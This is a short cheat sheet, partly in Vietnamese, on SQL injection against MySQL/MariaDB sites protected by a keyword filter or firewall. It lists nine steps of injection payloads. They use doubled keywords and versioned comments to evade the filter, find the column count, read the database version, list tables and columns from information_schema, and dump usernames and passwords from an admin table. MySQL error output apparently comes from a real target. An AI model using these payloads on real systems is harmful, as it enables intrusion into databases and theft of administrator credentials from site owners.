bypass filter + 403 Forbidden SQL

           You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1

b1: order by 1-- -
b2: oorrder by 1-- -

  You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1-- -' at line 1

b3: /*!oorrder*/ /*!by*/ 1 (x)-- -           ( web bình thường -> column)
b4: =-x /*!UNION*/ SELECT x,x,x-- -

       You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'x,x,x-- -' at line 1
 Bypass UNION: /*!UNIUNIONON*/ SESELECTLECT 1,2,3,4,5,6-- -

b5: thay x = null
      /*!UNIUNIONON*/ SESELECTLECT Null,Null,Null,Null,Null,Null-- -
  Ex: /*!UNIUNIONON*/ SESELECTLECT Null,Null,Null,Null,/*!concat(0x7c,version())*/,Null-- -

 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '.9-MariaDB-mariadb102' at line 1

b6: bypass null lỗi
   /*!UNIUNIONON*/ SESELECTLECT Null,Null,Null,Null,/*!concat(0x7c,version())*/,Null-- -

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '|5.2.9-MariaDB-mariadb102' at line 1

b7: bypass null lỗi
  /*!UNIUNIONON*/ SESELECTLECT Null,Null,Null,Null,/*!table_name*/,Null /*!frfromom*/ infoorrmation_schema./*!tables*/ where table_schema=databaasse()-- -

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'infmation_schema./*!tables*/ where table_schema=database()-- -' at line 1

b8:  /*!UNIUNIONON*/ SESELECTLECT Null,Null,Null,Null,/*!group_concat(column_name)*/,Null /*!frfromom*/ infoorrmation_schema./*!columns*/ where table_schema=databaasse() and table_name=0x61646d696e-- -

b9: /*!UNIUNIONON*/ SESELECTLECT Null,Null,Null,Null,/*!username*/,Null /*!frfromom*/ adadminmin-- -
    /*!UNIUNIONON*/ SESELECTLECT Null,Null,Null,Null,/*!password*/,Null /*!frfromom*/ adadminmin-- -
    /*!UNIUNIONON*/ SESELECTLECT Null,Null,Null,Null,/*!paassswoorrd*/,Null /*!frfromom*/ adadminmin-- -


null là ẩn xxxx